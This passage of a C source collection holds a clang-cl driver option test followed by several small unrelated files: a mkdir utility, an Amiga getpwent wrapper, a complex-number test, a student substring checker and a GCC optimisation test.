-check-prefix=Ob2 %s // RUN: %clang_cl /O2 /Ob2 -### -- %s 2>&1 | FileCheck -check-prefix=Ob2 %s // Ob2-NOT: warning: argument unused during compilation: '/O2' // Ob2: -finline-functions // RUN: %clang_cl /Ob1 -### -- %s 2>&1 | FileCheck -check-prefix=Ob1 %s // RUN: %clang_cl /Odb1 -### -- %s 2>&1 | FileCheck -check-prefix=Ob1 %s // Ob1: -finline-hint-functions // RUN: %clang_cl /Od -### -- %s 2>&1 | FileCheck -check-prefix=Od %s // Od: -O0 // RUN: %clang_cl /Oi- /Oi -### -- %s 2>&1 | FileCheck -check-prefix=Oi %s // Oi-NOT: -fno-builtin // RUN: %clang_cl /Oi- -### -- %s 2>&1 | FileCheck -check-prefix=Oi_ %s // Oi_: -fno-builtin // RUN: %clang_cl /Os --target=i686-pc-windows-msvc -### -- %s 2>&1 | FileCheck -check-prefix=Os %s // RUN: %clang_cl /Os --target=x86_64-pc-windows-msvc -### -- %s 2>&1 | FileCheck -check-prefix=Os %s // Os: -mframe-pointer=none // Os: -Os // RUN: %clang_cl /Ot --target=i686-pc-windows-msvc -### -- %s 2>&1 | FileCheck -check-prefix=Ot %s // RUN: %clang_cl /Ot --target=x86_64-pc-windows-msvc -### -- %s 2>&1 | FileCheck -check-prefix=Ot %s // Ot: -mframe-pointer=none // Ot: -O2 // RUN: %clang_cl /Ox --target=i686-pc-windows-msvc -### -- %s 2>&1 | FileCheck -check-prefix=Ox %s // RUN: %clang_cl /Ox --target=x86_64-pc-windows-msvc -### -- %s 2>&1 | FileCheck -check-prefix=Ox %s // Ox: -mframe-pointer=none // Ox: -O2 // RUN: %clang_cl --target=i686-pc-win32 /O2sy- -### -- %s 2>&1 | FileCheck -check-prefix=PR24003 %s // PR24003: -mframe-pointer=all // PR24003: -Os // RUN: %clang_cl --target=i686-pc-win32 -Werror /Oy- /O2 -### -- %s 2>&1 | FileCheck -check-prefix=Oy_2 %s // Oy_2: -mframe-pointer=all // Oy_2: -O2 // RUN: %clang_cl --target=aarch64-pc-windows-msvc -Werror /Oy- /O2 -### -- %s 2>&1 | FileCheck -check-prefix=Oy_aarch64 %s // Oy_aarch64: -mframe-pointer=all // Oy_aarch64: -O2 // RUN: %clang_cl --target=i686-pc-win32 -Werror /O2 /O2 -### -- %s 2>&1 | FileCheck -check-prefix=O2O2 %s // O2O2: "-O2" // RUN: %clang_cl /Zs -Werror /Oy -- %s 2>&1 // RUN: %clang_cl --target=i686-pc-win32 -Werror /Oy- -### -- %s 2>&1 | FileCheck -check-prefix=Oy_ %s // Oy_: -mframe-pointer=all // RUN: %clang_cl /Qvec -### -- %s 2>&1 | FileCheck -check-prefix=Qvec %s // Qvec: -vectorize-loops // RUN: %clang_cl /Qvec /Qvec- -### -- %s 2>&1 | FileCheck -check-prefix=Qvec_ %s // Qvec_-NOT: -vectorize-loops // RUN: %clang_cl /showIncludes -### -- %s 2>&1 | FileCheck -check-prefix=showIncludes %s // showIncludes: --show-includes // RUN: %clang_cl /E /showIncludes -### -- %s 2>&1 | FileCheck -check-prefix=showIncludes_E %s // RUN: %clang_cl /EP /showIncludes -### -- %s 2>&1 | FileCheck -check-prefix=showIncludes_E %s // RUN: %clang_cl /E /EP /showIncludes -### -- %s 2>&1 | FileCheck -check-prefix=showIncludes_E %s // RUN: %clang_cl /EP /P /showIncludes -### -- %s 2>&1 | FileCheck -check-prefix=showIncludes_E %s // showIncludes_E-NOT: warning: argument unused during compilation: '--show-includes' // /source-charset: should warn on everything except UTF-8. // RUN: %clang_cl /source-charset:utf-16 -### -- %s 2>&1 | FileCheck -check-prefix=source-charset-utf-16 %s // source-charset-utf-16: invalid value 'utf-16' // /execution-charset: should warn on everything except UTF-8. // RUN: %clang_cl /execution-charset:utf-16 -### -- %s 2>&1 | FileCheck -check-prefix=execution-charset-utf-16 %s // execution-charset-utf-16: invalid value 'utf-16' // // RUN: %clang_cl /Umymacro -### -- %s 2>&1 | FileCheck -check-prefix=U %s // RUN: %clang_cl /U mymacro -### -- %s 2>&1 | FileCheck -check-prefix=U %s // U: "-U" "mymacro" // RUN: %clang_cl /validate-charset -### -- %s 2>&1 | FileCheck -check-prefix=validate-charset %s // validate-charset: -Winvalid-source-encoding // RUN: %clang_cl /validate-charset- -### -- %s 2>&1 | FileCheck -check-prefix=validate-charset_ %s // validate-charset_: -Wno-invalid-source-encoding // RUN: %clang_cl /vd2 -### -- %s 2>&1 | FileCheck -check-prefix=VD2 %s // VD2: -vtordisp-mode=2 // RUN: %clang_cl /vmg -### -- %s 2>&1 | FileCheck -check-prefix=VMG %s // VMG: "-fms-memptr-rep=virtual" // RUN: %clang_cl /vmg /vms -### -- %s 2>&1 | FileCheck -check-prefix=VMS %s // VMS: "-fms-memptr-rep=single" // RUN: %clang_cl /vmg /vmm -### -- %s 2>&1 | FileCheck -check-prefix=VMM %s // VMM: "-fms-memptr-rep=multiple" // RUN: %clang_cl /vmg /vmv -### -- %s 2>&1 | FileCheck -check-prefix=VMV %s // VMV: "-fms-memptr-rep=virtual" // RUN: %clang_cl /vmg /vmb -### -- %s 2>&1 | FileCheck -check-prefix=VMB %s // VMB: '/vmg' not allowed with '/vmb' // RUN: %clang_cl /vmg /vmm /vms -### -- %s 2>&1 | FileCheck -check-prefix=VMX %s // VMX: '/vms' not allowed with '/vmm' // RUN: %clang_cl /volatile:iso -### -- %s 2>&1 | FileCheck -check-prefix=VOLATILE-ISO %s // VOLATILE-ISO-NOT: "-fms-volatile" // RUN: %clang_cl /volatile:ms -### -- %s 2>&1 | FileCheck -check-prefix=VOLATILE-MS %s // VOLATILE-MS: "-fms-volatile" // RUN: %clang_cl /W0 -### -- %s 2>&1 | FileCheck -check-prefix=W0 %s // W0: -w // RUN: %clang_cl /W1 -### -- %s 2>&1 | FileCheck -check-prefix=W1 %s // RUN: %clang_cl /W2 -### -- %s 2>&1 | FileCheck -check-prefix=W1 %s // RUN: %clang_cl /W3 -### -- %s 2>&1 | FileCheck -check-prefix=W1 %s // RUN: %clang_cl /W4 -### -- %s 2>&1 | FileCheck -check-prefix=W4 %s // RUN: %clang_cl /Wall -### -- %s 2>&1 | FileCheck -check-prefix=Weverything %s // W1: -Wall // W4: -WCL4 // Weverything: -Weverything // RUN: %clang_cl /WX -### -- %s 2>&1 | FileCheck -check-prefix=WX %s // WX: -Werror // RUN: %clang_cl /WX- -### -- %s 2>&1 | FileCheck -check-prefix=WX_ %s // WX_: -Wno-error // RUN: %clang_cl /w -### -- %s 2>&1 | FileCheck -check-prefix=w %s // w: -w // RUN: %clang_cl /Zp -### -- %s 2>&1 | FileCheck -check-prefix=ZP %s // ZP: -fpack-struct=1 // RUN: %clang_cl /Zp2 -### -- %s 2>&1 | FileCheck -check-prefix=ZP2 %s // ZP2: -fpack-struct=2 // RUN: %clang_cl /Zs -### -- %s 2>&1 | FileCheck -check-prefix=Zs %s // Zs: -fsyntax-only // RUN: %clang_cl /FIasdf.h -### -- %s 2>&1 | FileCheck -check-prefix=FI %s // FI: "-include" "asdf.h" // RUN: %clang_cl /FI asdf.h -### -- %s 2>&1 | FileCheck -check-prefix=FI_ %s // FI_: "-include" "asdf.h" // RUN: %clang_cl /TP /c -### -- %s 2>&1 | FileCheck -check-prefix=NO-GX %s // NO-GX-NOT: "-fcxx-exceptions" "-fexceptions" // RUN: %clang_cl /TP /c /GX -### -- %s 2>&1 | FileCheck -check-prefix=GX %s // GX: "-fcxx-exceptions" "-fexceptions" // RUN: %clang_cl /TP /c /GX /GX- -### -- %s 2>&1 | FileCheck -check-prefix=GX_ %s // GX_-NOT: "-fcxx-exceptions" "-fexceptions" // RUN: %clang_cl /d1PP -### -- %s 2>&1 | FileCheck -check-prefix=d1PP %s // d1PP: -dD // We forward any unrecognized -W diagnostic options to cc1. // RUN: %clang_cl -Wunused-pragmas -### -- %s 2>&1 | FileCheck -check-prefix=WJoined %s // WJoined: "-cc1" // WJoined: "-Wunused-pragmas" // We recognize -f[no-]strict-aliasing. // RUN: %clang_cl -c -### -- %s 2>&1 | FileCheck -check-prefix=DEFAULTSTRICT %s // DEFAULTSTRICT: "-relaxed-aliasing" // RUN: %clang_cl -c -fstrict-aliasing -### -- %s 2>&1 | FileCheck -check-prefix=STRICT %s // STRICT-NOT: "-relaxed-aliasing" // RUN: %clang_cl -c -fno-strict-aliasing -### -- %s 2>&1 | FileCheck -check-prefix=NOSTRICT %s // NOSTRICT: "-relaxed-aliasing" // We recognize -f[no-]delayed-template-parsing. // /Zc:twoPhase[-] has the opposite meaning. // RUN: %clang_cl -c -### -- %s 2>&1 | FileCheck -check-prefix=DELAYEDDEFAULT %s // DELAYEDDEFAULT: "-fdelayed-template-parsing" // RUN: %clang_cl -c -fdelayed-template-parsing -### -- %s 2>&1 | FileCheck -check-prefix=DELAYEDON %s // RUN: %clang_cl -c /Zc:twoPhase- -### -- %s 2>&1 | FileCheck -check-prefix=DELAYEDON %s // DELAYEDON: "-fdelayed-template-parsing" // RUN: %clang_cl -c -fno-delayed-template-parsing -### -- %s 2>&1 | FileCheck -check-prefix=DELAYEDOFF %s // RUN: %clang_cl -c /Zc:twoPhase -### -- %s 2>&1 | FileCheck -check-prefix=DELAYEDOFF %s // DELAYEDOFF-NOT: "-fdelayed-template-parsing" // RUN: %clang_cl -c -### /std:c++latest -- %s 2>&1 | FileCheck -check-prefix CHECK-LATEST-CHAR8_T %s // CHECK-LATEST-CHAR8_T-NOT: "-fchar8_t" // RUN: %clang_cl -c -### /Zc:char8_t -- %s 2>&1 | FileCheck -check-prefix CHECK-CHAR8_T %s // CHECK-CHAR8_T: "-fchar8_t" // RUN: %clang_cl -c -### /Zc:char8_t- -- %s 2>&1 | FileCheck -check-prefix CHECK-CHAR8_T_ %s // CHECK-CHAR8_T_: "-fno-char8_t" // For some warning ids, we can map from MSVC warning to Clang warning. // RUN: %clang_cl -wd4005 -wd4100 -wd4910 -wd4996 -### -- %s 2>&1 | FileCheck -check-prefix=Wno %s // Wno: "-cc1" // Wno: "-Wno-macro-redefined" // Wno: "-Wno-unused-parameter" // Wno: "-Wno-dllexport-explicit-instantiation-decl" // Wno: "-Wno-deprecated-declarations" // Ignored options. Check that we don't get "unused during compilation" errors. // RUN: %clang_cl /c \ // RUN: /analyze- \ // RUN: /bigobj \ // RUN: /cgthreads4 \ // RUN: /cgthreads8 \ // RUN: /d2FastFail \ // RUN: /d2Zi+ \ // RUN: /errorReport:foo \ // RUN: /execution-charset:utf-8 \ // RUN: /FC \ // RUN: /Fdfoo \ // RUN: /FS \ // RUN: /Gd \ // RUN: /GF \ // RUN: /GS- \ // RUN: /kernel- \ // RUN: /nologo \ // RUN: /Og \ // RUN: /openmp- \ // RUN: /permissive- \ // RUN: /RTC1 \ // RUN: /sdl \ // RUN: /sdl- \ // RUN: /source-charset:utf-8 \ // RUN: /utf-8 \ // RUN: /vmg \ // RUN: /volatile:iso \ // RUN: /w12345 \ // RUN: /wd1234 \ // RUN: /Zc:__cplusplus \ // RUN: /Zc:auto \ // RUN: /Zc:forScope \ // RUN: /Zc:inline \ // RUN: /Zc:rvalueCast \ // RUN: /Zc:ternary \ // RUN: /Zc:wchar_t \ // RUN: /Zm \ // RUN: /Zo \ // RUN: /Zo- \ // RUN: -### -- %s 2>&1 | FileCheck -check-prefix=IGNORED %s // IGNORED-NOT: argument unused during compilation // IGNORED-NOT: no such file or directory // Don't confuse /openmp- with the /o flag: // IGNORED-NOT: "-o" "penmp-.obj" // Ignored options and compile-only options are ignored for link jobs. // RUN: touch %t.obj // RUN: %clang_cl /nologo -### -- %t.obj 2>&1 | FileCheck -check-prefix=LINKUNUSED %s // RUN: %clang_cl /Dfoo -### -- %t.obj 2>&1 | FileCheck -check-prefix=LINKUNUSED %s // RUN: %clang_cl /MD -### -- %t.obj 2>&1 | FileCheck -check-prefix=LINKUNUSED %s // LINKUNUSED-NOT: argument unused during compilation // Support ignoring warnings about unused arguments. // RUN: %clang_cl /Abracadabra -Qunused-arguments -### -- %s 2>&1 | FileCheck -check-prefix=UNUSED %s // UNUSED-NOT: argument unused during compilation // Unsupported but parsed options. Check that we don't error on them. // (/Zs is for syntax-only) // RUN: %clang_cl /Zs \ // RUN: /await \ // RUN: /constexpr:depth1000 /constexpr:backtrace1000 /constexpr:steps1000 \ // RUN: /AIfoo \ // RUN: /AI foo_does_not_exist \ // RUN: /Bt \ // RUN: /Bt+ \ // RUN: /clr:pure \ // RUN: /d2FH4 \ // RUN: /docname \ // RUN: /EHsc \ // RUN: /F 42 \ // RUN: /FA \ // RUN: /FAc \ // RUN: /Fafilename \ // RUN: /FAs \ // RUN: /FAu \ // RUN: /favor:blend \ // RUN: /Fifoo \ // RUN: /Fmfoo \ // RUN: /FpDebug\main.pch \ // RUN: /Frfoo \ // RUN: /FRfoo \ // RUN: /FU foo \ // RUN: /Fx \ // RUN: /G1 \ // RUN: /G2 \ // RUN: /GA \ // RUN: /Gd \ // RUN: /Ge \ // RUN: /Gh \ // RUN: /GH \ // RUN: /GL \ // RUN: /GL- \ // RUN: /Gm \ // RUN: /Gm- \ // RUN: /Gr \ // RUN: /GS \ // RUN: /GT \ // RUN: /GX \ // RUN: /Gv \ // RUN: /Gz \ // RUN: /GZ \ // RUN: /H \ // RUN: /homeparams \ // RUN: /hotpatch \ // RUN: /JMC \ // RUN: /kernel \ // RUN: /LN \ // RUN: /MP \ // RUN: /o foo.obj \ // RUN: /ofoo.obj \ // RUN: /openmp \ // RUN: /openmp:experimental \ // RUN: /Qfast_transcendentals \ // RUN: /QIfist \ // RUN: /Qimprecise_fwaits \ // RUN: /Qpar \ // RUN: /Qpar-report:1 \ // RUN: /Qsafe_fp_loads \ // RUN: /Qspectre \ // RUN: /Qvec-report:2 \ // RUN: /u \ // RUN: /V \ // RUN: /volatile:ms \ // RUN: /wfoo \ // RUN: /WL \ // RUN: /Wp64 \ // RUN: /X \ // RUN: /Y- \ // RUN: /Yc \ // RUN: /Ycstdafx.h \ // RUN: /Yd \ // RUN: /Yl- \ // RUN: /Ylfoo \ // RUN: /Yustdafx.h \ // RUN: /Z7 \ // RUN: /Za \ // RUN: /Ze \ // RUN: /Zg \ // RUN: /Zi \ // RUN: /ZI \ // RUN: /Zl \ // RUN: /ZW:nostdlib \ // RUN: -- %s 2>&1 // We support -Xclang for forwarding options to cc1. // RUN: %clang_cl -Xclang hellocc1 -### -- %s 2>&1 | FileCheck -check-prefix=Xclang %s // Xclang: "-cc1" // Xclang: "hellocc1" // Files under /Users are often confused with the /U flag. (This could happen // for other flags too, but this is the one people run into.) // RUN: %clang_cl /c /Users/me/myfile.c -### 2>&1 | FileCheck -check-prefix=SlashU %s // SlashU: warning: '/Users/me/myfile.c' treated as the '/U' option // SlashU: note: Use '--' to treat subsequent arguments as filenames // RTTI is on by default. /GR- controls -fno-rtti-data. // RUN: %clang_cl /c /GR- -### -- %s 2>&1 | FileCheck -check-prefix=NoRTTI %s // NoRTTI: "-fno-rtti-data" // NoRTTI-NOT: "-fno-rtti" // RUN: %clang_cl /c /GR -### -- %s 2>&1 | FileCheck -check-prefix=RTTI %s // RTTI-NOT: "-fno-rtti-data" // RTTI-NOT: "-fno-rtti" // thread safe statics are off for versions < 19. // RUN: %clang_cl /c -### -fms-compatibility-version=18 -- %s 2>&1 | FileCheck -check-prefix=NoThreadSafeStatics %s // RUN: %clang_cl /Zc:threadSafeInit /Zc:threadSafeInit- /c -### -- %s 2>&1 | FileCheck -check-prefix=NoThreadSafeStatics %s // NoThreadSafeStatics: "-fno-threadsafe-statics" // RUN: %clang_cl /Zc:threadSafeInit /c -### -- %s 2>&1 | FileCheck -check-prefix=ThreadSafeStatics %s // ThreadSafeStatics-NOT: "-fno-threadsafe-statics" // RUN: %clang_cl /Zc:dllexportInlines- /c -### -- %s 2>&1 | FileCheck -check-prefix=NoDllExportInlines %s // NoDllExportInlines: "-fno-dllexport-inlines" // RUN: %clang_cl /Zc:dllexportInlines /c -### -- %s 2>&1 | FileCheck -check-prefix=DllExportInlines %s // DllExportInlines-NOT: "-fno-dllexport-inlines" // RUN: %clang_cl /fallback /Zc:dllexportInlines- /c -### -- %s 2>&1 | FileCheck -check-prefix=DllExportInlinesFallback %s // DllExportInlinesFallback: error: option '/Zc:dllexportInlines-' is ABI-changing and not compatible with '/fallback' // RUN: %clang_cl /Zi /c -### -- %s 2>&1 | FileCheck -check-prefix=Zi %s // Zi: "-gcodeview" // Zi: "-debug-info-kind=limited" // RUN: %clang_cl /Z7 /c -### -- %s 2>&1 | FileCheck -check-prefix=Z7 %s // Z7: "-gcodeview" // Z7: "-debug-info-kind=limited" // RUN: %clang_cl /Zd /c -### -- %s 2>&1 | FileCheck -check-prefix=Z7GMLT %s // Z7GMLT: "-gcodeview" // Z7GMLT: "-debug-info-kind=line-tables-only" // RUN: %clang_cl -gline-tables-only /c -### -- %s 2>&1 | FileCheck -check-prefix=ZGMLT %s // ZGMLT: "-gcodeview" // ZGMLT: "-debug-info-kind=line-tables-only" // RUN: %clang_cl /c -### -- %s 2>&1 | FileCheck -check-prefix=BreproDefault %s // BreproDefault: "-mincremental-linker-compatible" // RUN: %clang_cl /Brepro- /Brepro /c '-###' -- %s 2>&1 | FileCheck -check-prefix=Brepro %s // Brepro-NOT: "-mincremental-linker-compatible" // RUN: %clang_cl /Brepro /Brepro- /c '-###' -- %s 2>&1 | FileCheck -check-prefix=Brepro_ %s // Brepro_: "-mincremental-linker-compatible" // This test was super sneaky: "/Z7" means "line-tables", but "-gdwarf" occurs // later on the command line, so it should win. Interestingly the cc1 arguments // came out right, but had wrong semantics, because an invariant assumed by // CompilerInvocation was violated: it expects that at most one of {gdwarfN, // line-tables-only} appear. If you assume that, then you can safely use // Args.hasArg to test whether a boolean flag is present without caring // where it appeared. And for this test, it appeared to the left of -gdwarf // which made it "win". This test could not detect that bug. // RUN: %clang_cl /Z7 -gdwarf /c -### -- %s 2>&1 | FileCheck -check-prefix=Z7_gdwarf %s // Z7_gdwarf: "-gcodeview" // Z7_gdwarf: "-debug-info-kind=limited" // Z7_gdwarf: "-dwarf-version=4" // RUN: %clang_cl -fmsc-version=1800 -TP -### -- %s 2>&1 | FileCheck -check-prefix=CXX11 %s // CXX11: -std=c++11 // RUN: %clang_cl -fmsc-version=1900 -TP -### -- %s 2>&1 | FileCheck -check-prefix=CXX14 %s // CXX14: -std=c++14 // RUN: %clang_cl -fmsc-version=1900 -TP -std:c++14 -### -- %s 2>&1 | FileCheck -check-prefix=STDCXX14 %s // STDCXX14: -std=c++14 // RUN: %clang_cl -fmsc-version=1900 -TP -std:c++17 -### -- %s 2>&1 | FileCheck -check-prefix=STDCXX17 %s // STDCXX17: -std=c++17 // RUN: %clang_cl -fmsc-version=1900 -TP -std:c++latest -### -- %s 2>&1 | FileCheck -check-prefix=STDCXXLATEST %s // STDCXXLATEST: -std=c++2a // RUN: env CL="/Gy" %clang_cl -### -- %s 2>&1 | FileCheck -check-prefix=ENV-CL %s // ENV-CL: "-ffunction-sections" // RUN: env CL="/Gy" _CL_="/Gy- -- %s" %clang_cl -### 2>&1 | FileCheck -check-prefix=ENV-_CL_ %s // ENV-_CL_-NOT: "-ffunction-sections" // RUN: env CL="%s" _CL_="%s" not %clang --rsp-quoting=windows -c // RUN: %clang_cl -### /c -flto -- %s 2>&1 | FileCheck -check-prefix=LTO %s // LTO: -flto // RUN: %clang_cl -### /c -flto=thin -- %s 2>&1 | FileCheck -check-prefix=LTO-THIN %s // LTO-THIN: -flto=thin // RUN: %clang_cl -### -Fe%t.exe -entry:main -flto -- %s 2>&1 | FileCheck -check-prefix=LTO-WITHOUT-LLD %s // LTO-WITHOUT-LLD: LTO requires -fuse-ld=lld // RUN: %clang_cl -### -- %s 2>&1 | FileCheck -check-prefix=NOCFGUARD %s // RUN: %clang_cl /guard:cf- -### -- %s 2>&1 | FileCheck -check-prefix=NOCFGUARD %s // NOCFGUARD-NOT: -cfguard // RUN: %clang_cl /guard:cf -### -- %s 2>&1 | FileCheck -check-prefix=CFGUARD %s // RUN: %clang_cl /guard:cf,nochecks -### -- %s 2>&1 | FileCheck -check-prefix=CFGUARD %s // RUN: %clang_cl /guard:nochecks -### -- %s 2>&1 | FileCheck -check-prefix=CFGUARD %s // CFGUARD: -cfguard // RUN: %clang_cl /guard:foo -### -- %s 2>&1 | FileCheck -check-prefix=CFGUARDINVALID %s // CFGUARDINVALID: invalid value 'foo' in '/guard:' // Accept "core" clang options. // (/Zs is for syntax-only, -Werror makes it fail hard on unknown options) // RUN: %clang_cl \ // RUN: --driver-mode=cl \ // RUN: -fblocks \ // RUN: -fcrash-diagnostics-dir=/foo \ // RUN: -fno-crash-diagnostics \ // RUN: -fno-blocks \ // RUN: -fbuiltin \ // RUN: -fno-builtin \ // RUN: -fno-builtin-strcpy \ // RUN: -fcolor-diagnostics \ // RUN: -fno-color-diagnostics \ // RUN: -fcoverage-mapping \ // RUN: -fno-coverage-mapping \ // RUN: -fdiagnostics-color \ // RUN: -fno-diagnostics-color \ // RUN: -fdebug-compilation-dir . \ // RUN: -fdiagnostics-parseable-fixits \ // RUN: -fdiagnostics-absolute-paths \ // RUN: -ferror-limit=10 \ // RUN: -fmsc-version=1800 \ // RUN: -fno-strict-aliasing \ // RUN: -fstrict-aliasing \ // RUN: -fsyntax-only \ // RUN: -fms-compatibility \ // RUN: -fno-ms-compatibility \ // RUN: -fms-extensions \ // RUN: -fno-ms-extensions \ // RUN: -Xclang -disable-llvm-passes \ // RUN: -resource-dir asdf \ // RUN: -resource-dir=asdf \ // RUN: -Wunused-variable \ // RUN: -fmacro-backtrace-limit=0 \ // RUN: -fstandalone-debug \ // RUN: -flimit-debug-info \ // RUN: -flto \ // RUN: -fmerge-all-constants \ // RUN: -no-canonical-prefixes \ // RUN: -march=skylake \ // RUN: -fbracket-depth=123 \ // RUN: -fprofile-generate \ // RUN: -fprofile-generate=dir \ // RUN: -fno-profile-generate \ // RUN: -fno-profile-instr-generate \ // RUN: -fno-profile-instr-use \ // RUN: -fcs-profile-generate \ // RUN: -fcs-profile-generate=dir \ // RUN: -ftime-trace \ // RUN: --version \ // RUN: -Werror /Zs -- %s 2>&1 // Accept clang options under the /clang: flag. // The first test case ensures that the SLP vectorizer is on by default and that // it's being turned off by the /clang:-fno-slp-vectorize flag. // RUN: %clang_cl -O2 -### -- %s 2>&1 | FileCheck -check-prefix=NOCLANG %s // NOCLANG: "--dependent-lib=libcmt" // NOCLANG-SAME: "-vectorize-slp" // NOCLANG-NOT: "--dependent-lib=msvcrt" // RUN: %clang_cl -O2 -MD /clang:-fno-slp-vectorize /clang:-MD /clang:-MF /clang:my_dependency_file.dep -### -- %s 2>&1 | FileCheck -check-prefix=CLANG %s // CLANG: "--dependent-lib=msvcrt" // CLANG-SAME: "-dependency-file" "my_dependency_file.dep" // CLANG-NOT: "--dependent-lib=libcmt" // CLANG-NOT: "-vectorize-slp" void f() { }
the_stack_data/57951417.c
#include <stdio.h> #include <string.h> #include <stdlib.h> #include <errno.h> #include <unistd.h> #include <sys/stat.h> /* (Copyright) 2014, MIT license, "mkdir.c", csitd */ void mkdir_exit(char *, int); void mkdir_verbose(char *, mode_t, int); void drmake(int, char *[], mode_t, int, int); int main (int argc, char *argv[]) { mode_t mode = 0755; int o, parents, verbose; o = parents = verbose = 0; while ((o = getopt (argc, argv, "hvpm:")) != -1) switch (o) { case 'm': mode = strtol(optarg, NULL, 8); break; case 'p': parents = 1; break; case 'v': verbose = 1; break; case 'h': mkdir_exit("Usage mkdir -pvm:\n", 0); break; case '?': mkdir_exit("", 1); break; default: break; } argv += optind; argc -= optind; drmake(argc, argv, mode, verbose, parents); return 0; } void drmake(int argnum, char *array[], mode_t mode, int verbose, int parents) { int c = 0; size_t len, index; char *arrcopy; while (c < argnum) { len = index = strlen(array[c]); arrcopy = array[c++]; /* handle basic funtionality */ if ( parents == 0 ) { mkdir(arrcopy, mode); mkdir_verbose(arrcopy, mode, verbose); continue ; } /* handle -p functionality */ /* Strip delimeters */ for ( ; index > 0 ; --index ) if ( arrcopy[index] == '/' ) arrcopy[index] = '\0'; /* Add delimeters back one at a time */ for ( ; index <= len ; ++index) if ( arrcopy[index] == '\0' ) { mkdir(arrcopy, mode); mkdir_verbose(arrcopy, mode, verbose); arrcopy[index] = '/'; } } } void mkdir_verbose(char *arrcopy, mode_t mode, int verbose){ if ( verbose == 1 ) printf("Making directory: %s mode: %o\n", arrcopy, mode); } void mkdir_exit(char *message, int i){ printf("%s", message); exit (1); }
the_stack_data/793778.c
/* * $Id: usergroup_getpwent.c,v 1.3 2006-01-08 12:04:27 obarthel Exp $ * * :ts=4 * * Portable ISO 'C' (1994) runtime library for the Amiga computer * Copyright (c) 2002-2015 by Olaf Barthel <obarthel (at) gmx.net> * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * - Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * - Neither the name of Olaf Barthel nor the names of contributors * may be used to endorse or promote products derived from this * software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. */ #if defined(USERGROUP_SUPPORT) /****************************************************************************/ #ifndef _USERGROUP_HEADERS_H #include "usergroup_headers.h" #endif /* _USERGROUP_HEADERS_H */ /****************************************************************************/ struct passwd * getpwent(void) { struct passwd * result; ENTER(); assert(__UserGroupBase != NULL); PROFILE_OFF(); result = __getpwent(); PROFILE_ON(); if(__check_abort_enabled) __check_abort(); RETURN(result); return(result); } /****************************************************************************/ #endif /* USERGROUP_SUPPORT */
the_stack_data/192330964.c
#include <stdio.h> #include <complex.h> #include <stdlib.h> void testDouble() { volatile double complex z1 = 1.0 + 3.0 * I; volatile double complex z2 = 0.0 + 0.0 * I; volatile double complex conjugate1 = conj(z1); volatile double complex conjugate2 = conj(z2); if (creal(conjugate1) != 1.00 | cimag(conjugate1) != -3.0) { abort(); } if (creal(conjugate2) != 0.00 | cimag(conjugate2) != 0.0) { abort(); } } void testFloat() { volatile float complex z1 = 1.0 + 3.0 * I; volatile float complex z2 = 0.0 + 0.0 * I; volatile float complex conjugate1 = conj(z1); volatile float complex conjugate2 = conj(z2); if (crealf(conjugate1) != 1.00 | cimagf(conjugate1) != -3.0) { abort(); } if (crealf(conjugate2) != 0.00 | cimagf(conjugate2) != 0.0) { abort(); } } int main() { testDouble(); // testFloat(); return 0; }
the_stack_data/3538.c
/* * ===================================================================================== * * Filename: 39segCheck.c * * Description: Verificação de segmentos * * Version: 1.0 * Created: 04/23/16 23:08:10 * Revision: none * Compiler: gcc * * Author: LTKills * Organization: The University of Sao Paulo * * ===================================================================================== */ #include <stdlib.h> #include <stdio.h> #include <string.h> char *readLine(void){ char c, *string = NULL; int i = 0; do{ c = fgetc(stdin); string = (char*)realloc(string, sizeof(char)*(i+1)); *(string+i) = c; i++; }while(c != 10); *(string+i-1) = '\0'; return string; } int main(int argc, char *argv[]){ char *c = NULL, *string = NULL, letter; int i, j, k = 0; string = readLine(); c = readLine(); if(strcmp(string, c) == 0){ printf("%s %s %s\n", c, string, "SIM"); return 0; }else if(strlen(string) > strlen(c)){ for(i = 0; i < strlen(string); i++){ for(j = i; j-i < strlen(c); j++){ if(c[j-i] == string[j]) k++; } if(k == strlen(c)){ printf("%s %s %s\n", c, string, "SIM"); return 0; } k = 0; } printf("%s %s %s\n", c, string, "NAO"); return 0; }else if(strlen(c) > strlen(string)){ for(i = 0; i < strlen(c); i++){ for(j = i; j-i < strlen(string); j++){ if(string[j-i] == c[j]) k++; } if(k == strlen(string)){ printf("%s %s %s\n", string, c, "SIM"); return 0; } k = 0; } printf("%s %s %s\n", string, c, "NAO"); return 0; }else{ for(i = 0; i < strlen(string); i++){ if(*(string+i) > *(c+i)){ printf("%s %s %s\n", c, string, "NAO"); return 0; } if(*(string + i) < *(c + i)){ printf("%s %s %s\n", string, c, "NAO"); return 0; } } } }
the_stack_data/70451110.c
/* { dg-do compile } */ /* { dg-options "-O -fdump-tree-fre-details" } */ /* LLVM LOCAL test not applicable */ /* { dg-require-fdump "" } */ /* From PR27090. */ int f(int *a) { int t = *a; unsigned *b = (unsigned *)a; int *c = (int*)b; return *c + t; } /* { dg-final { scan-tree-dump "Replaced \\\(int \\\*\\\) b_.*with a_" "fre" } } */ /* { dg-final { scan-tree-dump "Replaced \\\*c_.*with t_" "fre" } } */ /* { dg-final { cleanup-tree-dump "fre" } } */
the_stack_data/12638087.c
